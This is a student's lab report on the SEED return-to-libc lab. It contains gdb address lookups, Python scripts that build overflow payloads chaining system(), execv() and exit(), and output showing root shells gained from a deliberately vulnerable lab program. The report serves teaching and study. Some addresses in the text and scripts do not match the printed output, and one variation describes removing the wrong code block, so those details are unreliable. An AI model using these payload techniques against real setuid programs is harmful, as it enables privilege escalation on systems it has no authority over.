2022 Spring CSE343 Lab3 - Return-to-libc Attack

Haocheng Gao (Email: hag223, LIN: 815094073)

The tasks were performed on the provided SEED Lab environment with docker-compose.

Task 1: Finding out the addresses of `libc` functions

`gdb` is invoked in batch mode to execute the following instructions. As shown in figure 1, the addresses of `system()` and `exit()` are printed out.

```
break main
run
p system
p exit
quit
```

```
Breakpoint 1, 0x565562ef in main ()
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

Figure 1: The addresses of system() and exit() are printed out with gdb

Task 2: Putting the shell string into memory

As instructed, an environment variable is exported and a program is created to print its address.

```
[02/13/22]seed@VM:~/.../Labsetup$ gcc -m32 -o prtenv prtenv.c
[02/13/22]seed@VM:~/.../Labsetup$ prtenv
ffffd443
```

Figure 2: Compile and execute prtenv to find out the address of the $MYSHELL string

Task 3: Launching the attack

Normal attack

I collect the required information from the output of the vulnerable program, which is shown in figure 3.

```
[02/13/22]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main():  0xffffcde0
Input size: 2
Address of buffer[] inside bof():  0xffffcdb0
Frame Pointer value inside bof():  0xffffcdc8
(^_^)(^_^) Returned Properly (^_^)(^_^)
```

Figure 3: Output of the vulnerable program when invoked normally

The program starts copying the content of `badfile` from the address of the buffer inside `bof()`, which is `0xffffcdf0`. The buffer has certain length, and probably is followed by some paddings. At some point, it reaches an integer that contains the value of old `%ebp`, which is pointed by the current `%ebp` at address `0xffffcdc8`. By computing the difference between these two addresses, we know how many bytes do we need to skip from the beginning of the `badfile` before reaching `%ebp`. Therefore, `offset + 4`, the first integer before `%ebp`, would be the return address of `bof()`, which should be override with the address of `system()`. `offset + 8` should be override with the address of `exit()` because that's the next function we wish to execute after `system()`. `offset + 12` should be the pointer to our environment variable, which will be read by `system()` to invoke our shell.

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

ebp = 0xffffce08              # %ebp of bof()
buf_addr = 0xffffcdf0         # address of the `buf` inside bof()
offset = ebp - buf_addr       #  # of bytes to pad before reaching ebp

X = offset + 12               # Argument for system()
sh_addr = 0xffffd443          # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = offset + 4                # Return address for bof()
system_addr = 0xf7e12420      # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = offset + 8                # Return address for system()
exit_addr = 0xf7e04f80        # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

The script above is run to create our `badfile`. As shown in figure 4, we gain a root shell by running the vulnerable program again.

```
[02/13/22]seed@VM:~/.../Labsetup$ python3 exploit.py
[02/13/22]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main():  0xffffcde0
Input size: 300
Address of buffer[] inside bof():  0xffffcdb0
Frame Pointer value inside bof():  0xffffcdc8
# ls /
bin    dev   lib    libx32      mnt   root  snap      sys  var
boot   etc   lib32  lost+found  opt   run   srv       tmp
cdrom  home  lib64  media       proc  sbin  swapfile  usr
#
[02/13/22]seed@VM:~/.../Labsetup$ 
```

Figure 4: Gain access to a root shell by running the vulnerable program again

Variation 1

By removing the following code block from the program shown above, I was able to test what happens if `exit()` isn't called. As a result, the `exit()` function isn't necessary for the attack to succeed. However the program crashes if we do not call it immediately after `system()`, as shown in figure 5.

```
Y = offset + 4              # Return address for bof()
system_addr = 0xf7e12420    # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
```

```
[02/13/22]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main():  0xffffcde0
Input size: 300
Address of buffer[] inside bof():  0xffffcdb0
Frame Pointer value inside bof():  0xffffcdc8
#
Segmentation fault
[02/13/22]seed@VM:~/.../Labsetup$ 
```

Figure 5: Without exit(), the program crashes after shell session ends

The reason for this is because we corrupted the value of both the return address for `system()` and the old `%ebp` with meaningless data . `system()` doesn't crash because in the beginning of its stack frame, the invalid `%ebp` value we wrote is stored and `%ebp` is replaced with `%esp` immediately. However when `system()` returns, it jumps to an invalid address, causing segmentation fault. Even if by some magic `system()` returns to `bof()`, when `bof()` returns, `%esp` will be pointing at this invalid address, which would still crash the program.

Variation 2

As shown in figure 6, I made several copies to `retlib`, each with a different name, and executed them. All the copies failed to invoke the root shell.

```
[02/13/22]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main():  0xffffcde0
Input size: 300
Address of buffer[] inside bof():  0xffffcdb0
Frame Pointer value inside bof():  0xffffcdc8
#
[02/13/22]seed@VM:~/.../Labsetup$ retlib1
Address of input[] inside main():  0xffffcde0
Input size: 300
Address of buffer[] inside bof():  0xffffcdb0
Frame Pointer value inside bof():  0xffffcdc8
zsh:1: no such file or directory: in/sh
[02/13/22]seed@VM:~/.../Labsetup$ retlib11
Address of input[] inside main():  0xffffcdd0
Input size: 300
Address of buffer[] inside bof():  0xffffcda0
Frame Pointer value inside bof():  0xffffcdb8
zsh:1: no such file or directory: /sh
[02/13/22]seed@VM:~/.../Labsetup$ retlib111
Address of input[] inside main():  0xffffcdd0
Input size: 300
Address of buffer[] inside bof():  0xffffcda0
Frame Pointer value inside bof():  0xffffcdb8
zsh:1: command not found: h
```

Figure 6: Copies to retlib fail to invoke root shell

My theory for this is that the program name, as part of `argv`, is stored somewhere in the beginning part of the stack. When its length changes, all the addresses we reference will shift, thus the attack no longer works.

Task 4: Defeat shell's countermeasure

Reasoning

The major difference between task 3 and task 4 is that task 4 requires the construction of an `argv[]` array. I choose to place it in `badfile` starting from the 200th byte. The vulnerable program will copy everything in `badfile` into its stack by `fread()`. Then all we need to do is to refer to this location when we manifest the argument list for `execv`. We may also want to add 4 zero bytes to the `badfile` to prevent `strcpy` from overriding our `argv[]` in the stack frame of `main()`. It's not mandatory if the stack layout is "lucky" to us.

Execution

Here is the program and the gdb session I run to collect addresses of environment variables. I choose to create another variable to hold `"-p"`. Another solution is to put these onto the stack.

```c
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char *shell = getenv("MYSHELL");
    if (shell)
        printf("MYSHELL: %x\n", (unsigned)shell);
    char *np = getenv("MINUS_P");
    if (np)
        printf("MINUS_P: %x\n", (unsigned)np);
    return 0;
}
```

```
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
$3 = {<text variable, no debug info>} 0xf7e994b0 <execv>
[02/13/22]seed@VM:~/.../Labsetup$ prtenv
MYSHELL: ffffd45d
MINUS_P: ffffd4cc
[02/13/22]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main():  0xffffcdf0
Input size: 2
Address of buffer[] inside bof():  0xffffcdc0
Frame Pointer value inside bof():  0xffffcdd8
(^_^)(^_^) Returned Properly (^_^)(^_^)
```

Figure 7: Collect the addresses

The following script is run to manifest the `badfile`. As shown in figure 8, we can get a bash root shell by running the vulnerable program. The attack is successful.

```python
#!/usr/bin/env python3
import sys

# Values obtained from other tools
minusp_addr = 0xffffd4cc
shellstr_addr = 0xffffd45d
execv_addr = 0xf7e994b0
exit_addr = 0xf7e04f80
ebp_val = 0xffffcdd8
bofbuf_addr = 0xffffcdc0
mainbuf_addr = 0xffffcdf0

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

# Construct bad file
```

```
offset = ebp_val - bofbuf_addr     # num of bytes to pad before reaching ebp
offset2 = 200                      # num of bytes to pad before constructing args

content[offset2+8:offset2+12] = (0).to_bytes(4,byteorder='little')
content[offset2+4:offset2+ 8] = (minusp_addr).to_bytes(4,byteorder='little')
content[offset2+0:offset2+ 4] = (shellstr_addr).to_bytes(4,byteorder='little')

X = offset + 16                    # (args) for execv
content[X:X+4] = (mainbuf_addr + offset2).to_bytes(4,byteorder='little')

X = offset + 12                    # (pathname) for execv
content[X:X+4] = (shellstr_addr).to_bytes(4,byteorder='little')

X = offset + 8                     # Return to exit()
content[X:X+4] = (exit_addr).to_bytes(4,byteorder='little')

X = offset + 4                     # Return to execv()
content[X:X+4] = (execv_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

```
[02/13/22]seed@VM:~/.../Labsetup$ !py
python3 exploit.py
[02/13/22]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main():  0xffffcdf0
Input size: 300
Address of buffer[] inside bof():  0xffffcdc0
Frame Pointer value inside bof():  0xffffcdd8
bash-5.0# ls /
bin    dev   lib    libx32      mnt   root  snap      sys  var
boot   etc   lib32  lost+found  opt   run   srv       tmp
cdrom  home  lib64  media       proc  sbin  swapfile  usr
bash-5.0#
bash-5.0#
bash-5.0# exit
```

Figure 8: Gain bash root shell by running the volnerable program

Task 5: Return-Oriented programming

Below is the updated program for task 5 (some addresses are different from previous programs because I did this in a separate day). The address of `foo()` is found by running `retlib` inside `gdb` and execute `p foo`. The idea is to write 10 copies of `foo()`'s address onto the stack before the addresses of `execv` and other functions. This way when one `foo()` returns the control immediately jumps to another `foo()`.

```
#!/usr/bin/env python3
import sys

# Values obtained from other tools
minusp_addr = 0xffffd4a5
shellstr_addr = 0xffffd436
```

```
execv_addr = 0xf7e994b0
exit_addr = 0xf7e04f80
ebp_val = 0xffffcdb8
bofbuf_addr = 0xffffcda0
mainbuf_addr = 0xffffcdd0
foo_addr = 0x565562b0

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

# Construct bad file
offset = ebp_val - bofbuf_addr     # num of bytes to pad before reaching ebp
offset2 = 200                      # num of bytes to pad before constructing
args

content[offset2+8:offset2+12] = (0).to_bytes(4,byteorder='little')
content[offset2+4:offset2+ 8] = (minusp_addr).to_bytes(4,byteorder='little')
content[offset2+0:offset2+ 4] = (shellstr_addr).to_bytes(4,byteorder='little')

X = offset + 56                    # (args) for execv
content[X:X+4] = (mainbuf_addr + offset2).to_bytes(4,byteorder='little')

X = offset + 52                    # (pathname) for execv
content[X:X+4] = (shellstr_addr).to_bytes(4,byteorder='little')

X = offset + 48                     # Return to exit()
content[X:X+4] = (exit_addr).to_bytes(4,byteorder='little')

X = offset + 44                     # Return to execv()
content[X:X+4] = (execv_addr).to_bytes(4,byteorder='little')

for i in range(4, 44, 4):
    X = offset + i                      # Return to foo()
    content[X:X+4] = (foo_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

Here is the screenshot showing the ROP is successful.

```
[02/21/22]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main():  0xffffcdd0
Input size: 300
Address of buffer[] inside bof():  0xffffcda0
Frame Pointer value inside bof():  0xffffcdb8
Function foo() is invoked 1 times
Function foo() is invoked 2 times
Function foo() is invoked 3 times
Function foo() is invoked 4 times
Function foo() is invoked 5 times
Function foo() is invoked 6 times
Function foo() is invoked 7 times
Function foo() is invoked 8 times
Function foo() is invoked 9 times
Function foo() is invoked 10 times
bash-5.0# ls
badfile      exploit.py        Makefile                  prtenv    retlib
exploit2.py  gdb_commands.txt  peda-session-retlib.txt   prtenv.c  retlib.c
bash-5.0# exit
```

Figure 9: ROP is successful